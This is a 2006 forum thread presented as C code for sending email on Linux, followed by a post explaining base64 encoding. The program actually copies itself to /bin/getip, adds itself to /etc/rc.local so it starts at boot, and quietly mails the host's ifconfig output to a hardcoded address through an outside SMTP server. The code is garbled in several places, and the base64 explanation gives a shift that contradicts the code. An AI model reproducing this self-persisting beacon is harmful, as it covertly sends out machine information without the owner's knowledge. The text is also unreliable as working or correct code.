Linux系统下发送Email的C语言代码

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1. augustnov 于 2006-11-16 09:34:03发表:

   本代码在thizlinux7.0下测试通过
   
   
   code by sink (gymiles@sohu.com)
   #include //include socket
   #include
   #include //include fopen(),fread().fwrite(),fclose()
   #include //include system()
   #include //include gethostbyname()
   
   #define PORT 25 //smtp port
   #define SIZE 1024
   //define mail commands
   #define EHLO 0
   #define AUTH 1
   #define USER 2
   #define PASS 3
   #define MAIL 4
   #define RCPT 5
   #define DATA 6
   #define CONT 7
   #define QUIT 8
   
   void base64enc(const char *,char *);
   
   int main(int argc,char *argv[])
   {
   int sockfd;
   struct sockaddr_in server_addr;
   struct hostent *server_ip;
   int numbytes=0,i=0;
   char username[512]="";//mail username
   char passwd[512]="";//mail passwd
   
   //buff store data by recv(),
   //ip[SIZE] store data by fread() from ip_files
   (use "ifconfig >tmp.ip",het ip_files)
   char buff[512]="",tmp[4]="",ip[SIZE]="";
   int ret=0;//function return
   FILE *f_open,*f_write;
   char *msg[9]={""};
   char *n_return[9]={""}; //return number
   
   msg[EHLO]="ehlo smtp.163.com\n";
   msg[AUTH]="auth login\n";
   base64enc("your name",username);
   strcat(username,"\n");
   msg[USER]=username;
   base64enc("your passwd",passwd);
   strcat(passwd,"\n");
   msg[PASS]=passwd;
   msg[MAIL]="mail from:xxxxx@163.com\n";
   msg[RCPT]="rcpt to:xxxxx@sohu.com\n";
   msg[DATA]="data\n";
   msg[QUIT]="quit\n";
   
   n_return[EHLO]="250";
   n_return[AUTH]="334";
   n_return[USER]="334";
   n_return[PASS]="235";
   n_return[MAIL]="250";
   n_return[RCPT]="250";
   n_return[DATA]="354";
   n_return[CONT]="250";
   
   copy self to /bin/getip
   if(strcmp(argv[0],"/bin/getip")!=0)// if file /bin/getip
   is not existed,copy to it
   {
   if((f_open=fopen(argv[0],"rb")) ==NULL)//open self
   {
   perror("fopen argv[0] error");
   return(-1);
   }
   
   if((f_write=fopen("/bin/getip","wb")) ==NULL)//open the
   file which we will write to
   {
   perror("fopen /bin/getip error");
   return(-1);
   }
   while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file
   {
   if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip
   {
   perror("fwrite error");
   return(-1);
   }
   }
   
   fclose(f_open);//close all files we have opened
   fclose(f_write);
   
   //chmod 755 /bin/getip
   if((ret=system("chmod 755 /bin/getip"))==-1)
   {
   perror("system error");
   return(-1);
   }
   
   //call system("echo /bin/getip >>/etc/rc.local")
   if((ret=system("echo '/bin/getip &' >>/etc/rc.local"))==-1)
   {
   perror("system error");
   return(-1);
   }
   }
   
   /*---------------------------
   get ip,use system() call ifconfig>tmp.ip
   ---------------------------*/
   if((ret=system("ifconfig >/tmp/tmp.ip"))==-1)
   {
   perror("system error");
   return(-1);
   }
   
   /*-----------------------------
   read from tmp.ip,add it to msg[CONT]
   -----------------------------*/
   if((f_open=fopen("/tmp/tmp.ip","r")) ==NULL)//open /tmp/tmp.ip
   {
   perror("fopen error");
   return(-1);
   }
   
   
   i=0;
   while((fread(&ip,1,1,f_open)) !=-1)//read from tmp.ip
   {
   i++;
   if(i>SIZE)//if file is large than SIZE,only read SIZE bytes
   break;
   }
   strncat(ip,"\n.\n",3);//cat "\n.\n" to data
   msg[CONT]=ip;
   fclose(f_open);
   
   
   /*-----------------------------
   rm tmp file
   ------------------------------*/
   if((ret=system("rm -rf /tmp/tmp.ip"))==-1)
   {
   perror("system error");
   return(-1);
   }
   
   
   /*------------------------------
   connect server,and send command
   ------------------------------*/
   //because the host connect to internet by dail,
   //so,it is possiabe that host have not connected when it start
   //then we sleep 5 miniutes,and try again until the host connect to internet
   //we know the connection status by gethostbyname(),but this way is not always correct
   while((server_ip=gethostbyname("smtp.163.com"))==NULL)
   {
   herror("gethostbyname error");
   sleep(300);
   }
   //create a socket
   if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
   {
   perror("socket error");
   return(-1);
   }
   //address information
   server_addr.sin_family=AF_INET;//host byte order
   server_addr.sin_port=htons(PORT);//short,network byte order
   server_addr.sin_addr=*((struct in_addr *)server_ip->h_addr);//server ip
   bzero(&(server_addr.sin_zero),8);//zero the rest of struct
   //connect server
   if(connect(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr))==-1)
   {
   perror("connect error");
   return(-1);
   }
   //if connect success,server return "220"
   if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
   {
   perror("recv error");
   return(-1);
   }
   //clean tmp
   for(i=0;i<4;i++)
   tmp='\0';
   strncpy(tmp,buff,3);
   if(strcmp(tmp,"220")!=0)
   return (-1);
   
   //send msgs. if any step has a mistake,
   the "while" will be breaked,then send "quit" to end connection
   i=EHLO;
   while(i {
   if((numbytes=send(sockfd,msg,strlen(msg),0))==-1)
   {
   perror("send error");
   break;
   }
   //sleep(1);we dont have to use it,because recv() can
   choke itself until it received data
   if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
   {
   perror("recv error");
   break;
   }
   strncpy(tmp,buff,3);
   
   //printf("command:%s\n",msg);
   //printf("return buff:%s\n",buff);
   //printf("should return:%s\n",n_return);
   
   if(strcmp(tmp,n_return)==0)
   i++;
   else
   break;
   
   }
   
   
   //send quit to end mail connection
   if((numbytes=send(sockfd,msg[QUIT],strlen(msg[QUIT]),0))==-1)
   {
   perror("send error");
   return(-1);
   }
   
   
   close(sockfd);
   return (0);
   }
   
   /*-------------------------
   base64 encode function
   -------------------------*/
   void base64enc(const char *instr,char *outstr)
   {
   char * table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
   int instr_len=0,i=0,j=0,pad=0;
   unsigned char buf1[4]="",buf2[4]="";
   
   instr_len=strlen(instr);
   pad=instr_len%3;
   for(i=0;i {
   if(i==instr_len-pad)
   strncpy(buf1,&instr,pad);
   else
   strncpy(buf1,&instr,3);
   
   buf2[0] = buf1[0] >> 2;
   buf2[1] = (buf1[0] & 0x03) << 4 | buf1[1] >> 4;
   buf2[2] = (buf1[1] & 0x0f) << 2 | buf1[2] >> 6;
   buf2[3] = buf1[2] & 0x3f;
   for(j=0;j<4;j++)
   buf2[j]=table[buf2[j]];
   
   if(i==instr_len-pad)
   for(j=3;j>pad;j--)
   buf2[j]='=';
   
   strncat(outstr,buf2,4);
   }
   
   }

2. augustnov 于 2006-11-16 09:33:37发表:

   过程很明显了，再简单说说base64编码方式:可以将字符串3个3个的分开(不足的编码后以'='补)，我们知道每个字符8位，这样，3个字符就是24位，base64编码将这3个字符(24位)，6位6位的分开，分成4个字符，再将这4个字符的ascii码值与下面的表比较，取出相应的字符，就是编码后的最终字符。例如:abc这3个字符，编码前是这样的:
   
   
   0110 0001 0110 0010 01100011
   
   
   现在6位6位的重组:
   
   
   011000 010110 001001 100011
   
   
   得到的字符为:
   
   
   00011000 00010110 00001001 00100011
   
   
   ascii码值分别为:24 22 9 35。对照下面表，得出编码后的字符:YWJj。从程序的思路来看就是:
   
   
   1。a>>2
   2.(a&0x03)<<4 | (b>>4)
   3.(b&0x0f)<<4 | (c>>6)
   4.c&0x3f
   
   
   然后将得到的值对照下表就可得出编码后的字符，具体实现见代码。Base64编码转换表（摘自RFC2045）
   
   
   Table 1: The Base64 Alphabet
   
   value Encoding value Encoding value Encoding value Encoding
   0 A 17 R 34 i 51 z
   1 B 18 S 35 j 52 0
   2 C 19 T 36 k 53 1
   3 D 20 U 37 l 54 2
   4 E 21 V 38 m 55 3
   5 F 22 W 39 n 56 4
   6 G 23 X 40 o 57 5
   7 H 24 Y 41 p 58 6
   8 I 25 Z 42 q 59 7
   9 J 26 a 43 r 60 8
   10 K 27 b 44 s 61 9
   11 L 28 c 45 t 62 +
   12 M 29 d 46 u 63 /
   13 N 30 e 47 v
   14 O 31 f 48 w (pad) =
   15 P 32 g 49 x
   16 Q 33 h 50 y